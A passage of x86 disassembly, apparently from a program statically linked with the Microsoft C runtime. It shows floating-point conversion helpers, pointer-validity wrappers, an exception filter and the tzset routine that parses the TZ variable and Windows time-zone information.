sub_4327D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A20 proc near ; CODE XREF: sub_432B20+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_454458 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4327D0 add esp, 0Ch pop ebp retn sub_432A20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A40 proc near ; CODE XREF: sub_432BA0+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_454470 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4327D0 add esp, 0Ch pop ebp retn sub_432A40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432A60 proc near ; CODE XREF: _0:00432B8Ap _0:00436F4Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] xor ecx, ecx mov cx, [eax+0Ah] and ecx, 7FFFh mov word ptr [ebp+var_4], cx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx+0Ah] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_0] mov edx, [ecx+6] mov [ebp+var_10], edx mov eax, [ebp+arg_0] mov ecx, [eax+2] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] xor eax, eax mov ax, [edx] shl eax, 10h mov [ebp+var_8], eax push 40h lea ecx, [ebp+var_10] push ecx call sub_432540 add esp, 8 test eax, eax jz short loc_432AD7 mov [ebp+var_10], 80000000h mov dx, word ptr [ebp+var_4] add dx, 1 mov word ptr [ebp+var_4], dx loc_432AD7: ; CODE XREF: sub_432A60+62j mov eax, [ebp+var_4] and eax, 0FFFFh cmp eax, 7FFFh jnz short loc_432AED mov [ebp+var_14], 1 loc_432AED: ; CODE XREF: sub_432A60+84j mov ecx, [ebp+arg_4] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_4] and eax, 0FFFFh or edx, eax mov ecx, [ebp+arg_4] mov [ecx+8], dx mov eax, [ebp+var_14] mov esp, ebp pop ebp retn sub_432A60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432B20 proc near ; CODE XREF: sub_42C640+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_4363F0 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_432A20 add esp, 8 mov esp, ebp pop ebp retn sub_432B20 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 1 mov eax, [ebp+0Ch] push eax lea ecx, [ebp-10h] push ecx lea edx, [ebp-0Ch] push edx call sub_4363F0 add esp, 1Ch mov eax, [ebp+8] push eax lea ecx, [ebp-0Ch] push ecx call sub_432A60 add esp, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432BA0 proc near ; CODE XREF: sub_42C640+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call sub_4363F0 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_432A40 add esp, 8 mov esp, ebp pop ebp retn sub_432BA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432BE0 proc near ; CODE XREF: sub_42C690+4Dp ; sub_42C880+45p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ecx+0Ch] mov [ebp+var_8], edx mov eax, [ebp+var_4] mov byte ptr [eax], 30h mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_432C04: ; CODE XREF: sub_432BE0+69j cmp [ebp+arg_4], 0 jle short loc_432C4B mov edx, [ebp+var_8] movsx eax, byte ptr [edx] test eax, eax jz short loc_432C28 mov ecx, [ebp+var_8] movsx edx, byte ptr [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax jmp short loc_432C2F ; --------------------------------------------------------------------------- loc_432C28: ; CODE XREF: sub_432BE0+32j mov [ebp+var_C], 30h loc_432C2F: ; CODE XREF: sub_432BE0+46j mov ecx, [ebp+var_4] mov dl, byte ptr [ebp+var_C] mov [ecx], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_4] sub ecx, 1 mov [ebp+arg_4], ecx jmp short loc_432C04 ; --------------------------------------------------------------------------- loc_432C4B: ; CODE XREF: sub_432BE0+28j mov edx, [ebp+var_4] mov byte ptr [edx], 0 cmp [ebp+arg_4], 0 jl short loc_432C94 mov eax, [ebp+var_8] movsx ecx, byte ptr [eax] cmp ecx, 35h jl short loc_432C94 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_432C6B: ; CODE XREF: sub_432BE0+A5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_432C87 mov edx, [ebp+var_4] mov byte ptr [edx], 30h mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_432C6B ; --------------------------------------------------------------------------- loc_432C87: ; CODE XREF: sub_432BE0+94j mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 1 mov eax, [ebp+var_4] mov [eax], dl loc_432C94: ; CODE XREF: sub_432BE0+75j ; sub_432BE0+80j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 31h jnz short loc_432CB0 mov eax, [ebp+arg_8] mov ecx, [eax+4] add ecx, 1 mov edx, [ebp+arg_8] mov [edx+4], ecx jmp short loc_432CD6 ; --------------------------------------------------------------------------- loc_432CB0: ; CODE XREF: sub_432BE0+BDj mov eax, [ebp+arg_0] add eax, 1 push eax call sub_41BC70 add esp, 4 add eax, 1 push eax mov ecx, [ebp+arg_0] add ecx, 1 push ecx mov edx, [ebp+arg_0] push edx call sub_420840 add esp, 0Ch loc_432CD6: ; CODE XREF: sub_432BE0+CEj mov esp, ebp pop ebp retn sub_432BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432CE0 proc near ; CODE XREF: sub_42C690+1Ep ; sub_42C880+1Ep ... var_28 = word ptr -28h var_26 = byte ptr -26h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = byte ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 28h lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_432D60 add esp, 8 lea edx, [ebp+var_28] push edx push 0 push 11h sub esp, 0Ch mov eax, esp mov ecx, [ebp+var_C] mov [eax], ecx mov edx, [ebp+var_8] mov [eax+4], edx mov cx, [ebp+var_4] mov [eax+8], cx call sub_436F70 add esp, 18h mov edx, [ebp+arg_8] mov [edx+8], eax movsx eax, [ebp+var_26] mov ecx, [ebp+arg_8] mov [ecx], eax movsx edx, [ebp+var_28] mov eax, [ebp+arg_8] mov [eax+4], edx lea ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_41F620 add esp, 8 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_C] mov [eax+0Ch], ecx mov eax, [ebp+arg_8] mov esp, ebp pop ebp retn sub_432CE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D60 proc near ; CODE XREF: sub_432CE0+Ep var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch mov [ebp+var_C], 80000000h mov word ptr [ebp+var_4], 0 mov eax, [ebp+arg_4] xor ecx, ecx mov cx, [eax+6] and ecx, 7FF0h sar ecx, 4 mov word ptr [ebp+var_14], cx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] and eax, 8000h mov word ptr [ebp+var_18], ax mov ecx, [ebp+arg_4] mov edx, [ecx+4] and edx, 0FFFFFh mov [ebp+var_8], edx mov eax, [ebp+arg_4] mov ecx, [eax] mov [ebp+var_10], ecx mov edx, [ebp+var_14] and edx, 0FFFFh mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jz short loc_432DD7 cmp [ebp+var_1C], 7FFh jz short loc_432DCF jmp short loc_432E1A ; --------------------------------------------------------------------------- loc_432DCF: ; CODE XREF: sub_432D60+6Bj mov word ptr [ebp+var_4], 7FFFh jmp short loc_432E35 ; --------------------------------------------------------------------------- loc_432DD7: ; CODE XREF: sub_432D60+62j cmp [ebp+var_8], 0 jnz short loc_432E04 cmp [ebp+var_10], 0 jnz short loc_432E04 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov word ptr [edx+8], 0 jmp loc_432EBE ; --------------------------------------------------------------------------- loc_432E04: ; CODE XREF: sub_432D60+7Bj ; sub_432D60+81j movsx eax, word ptr [ebp+var_14] add eax, 3C01h mov word ptr [ebp+var_4], ax mov [ebp+var_C], 0 jmp short loc_432E35 ; --------------------------------------------------------------------------- loc_432E1A: ; CODE XREF: sub_432D60+6Dj mov cx, word ptr [ebp+var_14] sub cx, 3FFh mov word ptr [ebp+var_14], cx movsx edx, word ptr [ebp+var_14] add edx, 3FFFh mov word ptr [ebp+var_4], dx loc_432E35: ; CODE XREF: sub_432D60+75j ; sub_432D60+B8j mov eax, [ebp+var_8] shl eax, 0Bh mov ecx, [ebp+var_C] or ecx, eax mov edx, [ebp+var_10] shr edx, 15h or ecx, edx mov eax, [ebp+arg_0] mov [eax+4], ecx mov ecx, [ebp+var_10] shl ecx, 0Bh mov edx, [ebp+arg_0] mov [edx], ecx loc_432E59: ; CODE XREF: sub_432D60+142j mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 80000000h test ecx, ecx jnz short loc_432EA4 mov edx, [ebp+arg_0] mov eax, [edx+4] shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 80000000h neg edx sbb edx, edx neg edx or eax, edx mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx] shl eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov dx, word ptr [ebp+var_4] sub dx, 1 mov word ptr [ebp+var_4], dx jmp short loc_432E59 ; --------------------------------------------------------------------------- loc_432EA4: ; CODE XREF: sub_432D60+107j mov eax, [ebp+var_18] and eax, 0FFFFh mov ecx, [ebp+var_4] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+8], ax loc_432EBE: ; CODE XREF: sub_432D60+9Fj mov esp, ebp pop ebp retn sub_432D60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 call sub_422270 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432EE0 proc near ; DATA XREF: sub_432F40+3o ; _2:004541A8o ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax] cmp dword ptr [ecx], 0E06D7363h jnz short loc_432F0E mov edx, [ebp+arg_0] mov eax, [edx] cmp dword ptr [eax+10h], 3 jnz short loc_432F0E mov ecx, [ebp+arg_0] mov edx, [ecx] cmp dword ptr [edx+14h], 19930520h jnz short loc_432F0E call sub_42D860 loc_432F0E: ; CODE XREF: sub_432EE0+Ej ; sub_432EE0+19j ... cmp ds:dword_4F3554, 0 jz short loc_432F35 mov eax, ds:dword_4F3554 push eax call sub_432FE0 add esp, 4 test eax, eax jz short loc_432F35 mov ecx, [ebp+arg_0] push ecx call ds:dword_4F3554 jmp short loc_432F37 ; --------------------------------------------------------------------------- loc_432F35: ; CODE XREF: sub_432EE0+35j ; sub_432EE0+47j xor eax, eax loc_432F37: ; CODE XREF: sub_432EE0+53j pop ebp retn 4 sub_432EE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432F40 proc near ; DATA XREF: _2:0043F02Co push ebp mov ebp, esp push offset sub_432EE0 call ds:off_4F5300 mov ds:dword_4F3554, eax pop ebp retn sub_432F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432F60 proc near ; DATA XREF: _2:0043F044o push ebp mov ebp, esp mov eax, ds:dword_4F3554 push eax call ds:off_4F5300 pop ebp retn sub_432F60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432F80 proc near ; CODE XREF: sub_42CCA0+9Ep ; sub_42D4B0+77p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F5470 ; IsBadReadPtr test eax, eax jz short loc_432FA4 mov [ebp+var_4], 0 loc_432FA4: ; CODE XREF: sub_432F80+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_432F80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432FB0 proc near ; CODE XREF: sub_42D4B0+89p ; sub_42D4B0+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F546C ; IsBadWritePtr test eax, eax jz short loc_432FD4 mov [ebp+var_4], 0 loc_432FD4: ; CODE XREF: sub_432FB0+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_432FB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432FE0 proc near ; CODE XREF: sub_42D4B0+1E2p ; sub_432EE0+3Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_0] push eax call ds:dword_4F52FC ; IsBadCodePtr test eax, eax jz short loc_433000 mov [ebp+var_4], 0 loc_433000: ; CODE XREF: sub_432FE0+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_432FE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433010 proc near ; CODE XREF: sub_42D8CEp push ebp mov ebp, esp push 0Ah call sub_42FF30 add esp, 4 push 16h call sub_4307E0 add esp, 4 push 3 call sub_41E8C0 pop ebp retn sub_433010 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433030 proc near ; CODE XREF: sub_42D9A0+8Ap ; sub_437D10:loc_43822Bp push ebp mov ebp, esp cmp ds:dword_4F3610, 0 jnz short loc_43306B push 0Bh call sub_423280 add esp, 4 cmp ds:dword_4F3610, 0 jnz short loc_433061 call sub_433090 mov eax, ds:dword_4F3610 add eax, 1 mov ds:dword_4F3610, eax loc_433061: ; CODE XREF: sub_433030+1Dj push 0Bh call sub_423320 add esp, 4 loc_43306B: ; CODE XREF: sub_433030+Aj pop ebp retn sub_433030 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0Bh call sub_423280 add esp, 4 call sub_433090 push 0Bh call sub_423320 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433090 proc near ; CODE XREF: sub_433030+1Fp ; _0:0043307Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 push 0Ch call sub_423280 add esp, 4 mov ds:dword_4F3558, 0 mov ds:dword_454530, 0FFFFFFFFh mov eax, ds:dword_454530 mov ds:dword_454520, eax push offset aTz ; "TZ" call sub_4374C0 add esp, 4 mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz loc_433213 push 0Ch call sub_423320 add esp, 4 push offset dword_4F3560 call ds:dword_4F547C ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz loc_43320E mov ds:dword_4F3558, 1 mov ecx, ds:dword_4F3560 imul ecx, 3Ch mov ds:dword_454488, ecx xor edx, edx mov dx, ds:word_4F35A6 test edx, edx jz short loc_433139 mov eax, ds:dword_4F35B4 imul eax, 3Ch mov ecx, ds:dword_454488 add ecx, eax mov ds:dword_454488, ecx loc_433139: ; CODE XREF: sub_433090+91j xor edx, edx mov dx, ds:word_4F35FA test edx, edx jz short loc_43316E cmp ds:dword_4F3608, 0 jz short loc_43316E mov ds:dword_45448C, 1 mov eax, ds:dword_4F3608 sub eax, ds:dword_4F35B4 imul eax, 3Ch mov ds:dword_454490, eax jmp short loc_433182 ; --------------------------------------------------------------------------- loc_43316E: ; CODE XREF: sub_433090+B4j ; sub_433090+BDj mov ds:dword_45448C, 0 mov ds:dword_454490, 0 loc_433182: ; CODE XREF: sub_433090+DCj lea ecx, [ebp+var_8] push ecx push 0 push 3Fh mov edx, ds:off_454514 push edx push 0FFFFFFFFh push offset dword_4F3564 push 220h mov eax, ds:dword_4F3408 push eax call ds:dword_4F5450 ; WideCharToMultiByte test eax, eax jz short loc_4331BF cmp [ebp+var_8], 0 jnz short loc_4331BF mov ecx, ds:off_454514 mov byte ptr [ecx+3Fh], 0 jmp short loc_4331C8 ; --------------------------------------------------------------------------- loc_4331BF: ; CODE XREF: sub_433090+11Bj ; sub_433090+121j mov edx, ds:off_454514 mov byte ptr [edx], 0 loc_4331C8: ; CODE XREF: sub_433090+12Dj lea eax, [ebp+var_8] push eax push 0 push 3Fh mov ecx, ds:off_454518 push ecx push 0FFFFFFFFh push offset dword_4F35B8 push 220h mov edx, ds:dword_4F3408 push edx call ds:dword_4F5450 ; WideCharToMultiByte test eax, eax jz short loc_433205 cmp [ebp+var_8], 0 jnz short loc_433205 mov eax, ds:off_454518 mov byte ptr [eax+3Fh], 0 jmp short loc_43320E ; --------------------------------------------------------------------------- loc_433205: ; CODE XREF: sub_433090+162j ; sub_433090+168j mov ecx, ds:off_454518 mov byte ptr [ecx], 0 loc_43320E: ; CODE XREF: sub_433090+67j ; sub_433090+173j jmp loc_433437 ; --------------------------------------------------------------------------- loc_433213: ; CODE XREF: sub_433090+49j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] test eax, eax jz short loc_43323D cmp ds:dword_4F360C, 0 jz short loc_43324C mov ecx, ds:dword_4F360C push ecx mov edx, [ebp+var_C] push edx call sub_41F7E0 add esp, 8 test eax, eax jnz short loc_43324C loc_43323D: ; CODE XREF: sub_433090+18Bj push 0Ch call sub_423320 add esp, 4 jmp loc_433437 ; --------------------------------------------------------------------------- loc_43324C: ; CODE XREF: sub_433090+194j ; sub_433090+1ABj push 2 mov eax, ds:dword_4F360C push eax call sub_41CA10 add esp, 8 push 10Ch push offset aTzset_c ; "tzset.c" push 2 mov ecx, [ebp+var_C] push ecx call sub_41BC70 add esp, 4 add eax, 1 push eax call sub_41BE70 add esp, 10h mov ds:dword_4F360C, eax cmp ds:dword_4F360C, 0 jnz short loc_43329D push 0Ch call sub_423320 add esp, 4 jmp loc_433437 ; --------------------------------------------------------------------------- loc_43329D: ; CODE XREF: sub_433090+1FCj mov edx, [ebp+var_C] push edx mov eax, ds:dword_4F360C push eax call sub_41F620 add esp, 8 push 0Ch call sub_423320 add esp, 4 push 3 mov ecx, [ebp+var_C] push ecx mov edx, ds:off_454514 push edx call sub_41E510 add esp, 0Ch mov eax, ds:off_454514 mov byte ptr [eax+3], 0 mov ecx, [ebp+var_C] add ecx, 3 mov [ebp+var_C], ecx mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 2Dh jnz short loc_4332FD mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_C] add edx, 1 mov [ebp+var_C], edx loc_4332FD: ; CODE XREF: sub_433090+259j mov eax, [ebp+var_C] push eax call sub_41E610 add esp, 4 imul eax, 0E10h mov ds:dword_454488, eax loc_433314: ; CODE XREF: sub_433090+2AEj mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 2Bh jz short loc_433335 mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_433340 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_433340 loc_433335: ; CODE XREF: sub_433090+28Dj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_433314 ; --------------------------------------------------------------------------- loc_433340: ; CODE XREF: sub_433090+298j ; sub_433090+2A3j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 3Ah jnz loc_4333E5 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_C] push edx call sub_41E610 add esp, 4 imul eax, 3Ch mov ecx, ds:dword_454488 add ecx, eax mov ds:dword_454488, ecx loc_433375: ; CODE XREF: sub_433090+304j mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_433396 mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_433396 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax jmp short loc_433375 ; --------------------------------------------------------------------------- loc_433396: ; CODE XREF: sub_433090+2EEj ; sub_433090+2F9j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] cmp edx, 3Ah jnz short loc_4333E5 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] push ecx call sub_41E610 add esp, 4 mov edx, ds:dword_454488 add edx, eax mov ds:dword_454488, edx loc_4333C4: ; CODE XREF: sub_433090+353j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] cmp ecx, 30h jl short loc_4333E5 mov edx, [ebp+var_C] movsx eax, byte ptr [edx] cmp eax, 39h jg short loc_4333E5 mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx jmp short loc_4333C4 ; --------------------------------------------------------------------------- loc_4333E5: ; CODE XREF: sub_433090+2B9j ; sub_433090+30Fj ... cmp [ebp+var_4], 0 jz short loc_4333F9 mov edx, ds:dword_454488 neg edx mov ds:dword_454488, edx loc_4333F9: ; CODE XREF: sub_433090+359j mov eax, [ebp+var_C] movsx ecx, byte ptr [eax] mov ds:dword_45448C, ecx cmp ds:dword_45448C, 0 jz short loc_43342E push 3 mov edx, [ebp+var_C] push edx mov eax, ds:off_454518 push eax call sub_41E510 add esp, 0Ch mov ecx, ds:off_454518 mov byte ptr [ecx+3], 0 jmp short loc_433437 ; --------------------------------------------------------------------------- loc_43342E: ; CODE XREF: sub_433090+37Cj mov edx, ds:off_454518 mov byte ptr [edx], 0 loc_433437: ; CODE XREF: sub_433090:loc_43320Ej ; sub_433090+1B7j ... mov esp, ebp pop ebp retn sub_433090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433440 proc near ; CODE XREF: sub_42D9A0+CFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 0Bh call sub_423280 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_433470 add esp, 4 mov [ebp+var_4], eax push 0Bh call sub_423320 add esp, 4 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_433440 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433470 proc near ; CODE XREF: sub_433440+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp ds:dword_45448C, 0 jnz short loc_433484 xor eax, eax jmp loc_433766 ; --------------------------------------------------------------------------- loc_433484: ; CODE XREF: sub_433470+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, ds:dword_454520 jnz short loc_4334A4 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, ds:dword_454530 jz loc_43366B loc_4334A4: ; CODE XREF: sub_433470+20j cmp ds:dword_4F3558, 0 jz loc_433625 xor ecx, ecx mov cx, ds:word_4F35F8 test ecx, ecx jnz short loc_433519 xor edx, edx mov dx, ds:word_4F3606 push edx xor eax, eax mov ax, ds:word_4F3604 push eax xor ecx, ecx mov cx, ds:word_4F3602 push ecx xor edx, edx mov dx, ds:word_4F3600 push edx push 0 xor eax, eax mov ax, ds:word_4F35FC push eax xor ecx, ecx mov cx, ds:word_4F35FE push ecx xor edx, edx mov dx, ds:word_4F35FA push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call sub_433770 add esp, 2Ch jmp short loc_43356A ; --------------------------------------------------------------------------- loc_433519: ; CODE XREF: sub_433470+4Cj xor edx, edx mov dx, ds:word_4F3606 push edx xor eax, eax mov ax, ds:word_4F3604 push eax xor ecx, ecx mov cx, ds:word_4F3602 push ecx xor edx, edx mov dx, ds:word_4F3600 push edx xor eax, eax mov ax, ds:word_4F35FE push eax push 0 push 0 xor ecx, ecx mov cx, ds:word_4F35FA push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call sub_433770 add esp, 2Ch loc_43356A: ; CODE XREF: sub_433470+A7j xor ecx, ecx mov cx, ds:word_4F35A4 test ecx, ecx jnz short loc_4335D2 xor edx, edx mov dx, ds:word_4F35B2 push edx xor eax, eax mov ax, ds:word_4F35B0 push eax xor ecx, ecx mov cx, ds:word_4F35AE push ecx xor edx, edx mov dx, ds:word_4F35AC push edx push 0 xor eax, eax mov ax, ds:word_4F35A8 push eax xor ecx, ecx mov cx, ds:word_4F35AA push ecx xor edx, edx mov dx, ds:word_4F35A6 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_433770 add esp, 2Ch jmp short loc_433623 ; --------------------------------------------------------------------------- loc_4335D2: ; CODE XREF: sub_433470+105j xor edx, edx mov dx, ds:word_4F35B2 push edx xor eax, eax mov ax, ds:word_4F35B0 push eax xor ecx, ecx mov cx, ds:word_4F35AE push ecx xor edx, edx mov dx, ds:word_4F35AC push edx xor eax, eax mov ax, ds:word_4F35AA push eax push 0 push 0 xor ecx, ecx mov cx, ds:word_4F35A6 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call sub_433770 add esp, 2Ch loc_433623: ; CODE XREF: sub_433470+160j jmp short loc_43366B ; --------------------------------------------------------------------------- loc_433625: ; CODE XREF: sub_433470+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call sub_433770 add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call sub_433770 add esp, 2Ch loc_43366B: ; CODE XREF: sub_433470+2Ej ; sub_433470:loc_433623j mov edx, ds:dword_454524 cmp edx, ds:dword_454534 jge short loc_4336C4 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, ds:dword_454524 jl short loc_433695 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, ds:dword_454534 jle short loc_43369C loc_433695: ; CODE XREF: sub_433470+215j xor eax, eax jmp loc_433766 ; --------------------------------------------------------------------------- loc_43369C: ; CODE XREF: sub_433470+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, ds:dword_454524 jle short loc_4336C2 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, ds:dword_454534 jge short loc_4336C2 mov eax, 1 jmp loc_433766 ; --------------------------------------------------------------------------- loc_4336C2: ; CODE XREF: sub_433470+238j ; sub_433470+246j jmp short loc_433707 ; --------------------------------------------------------------------------- loc_4336C4: ; CODE XREF: sub_433470+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, ds:dword_454534 jl short loc_4336E0 mov ecx, [ebp+arg_0] mov edx, 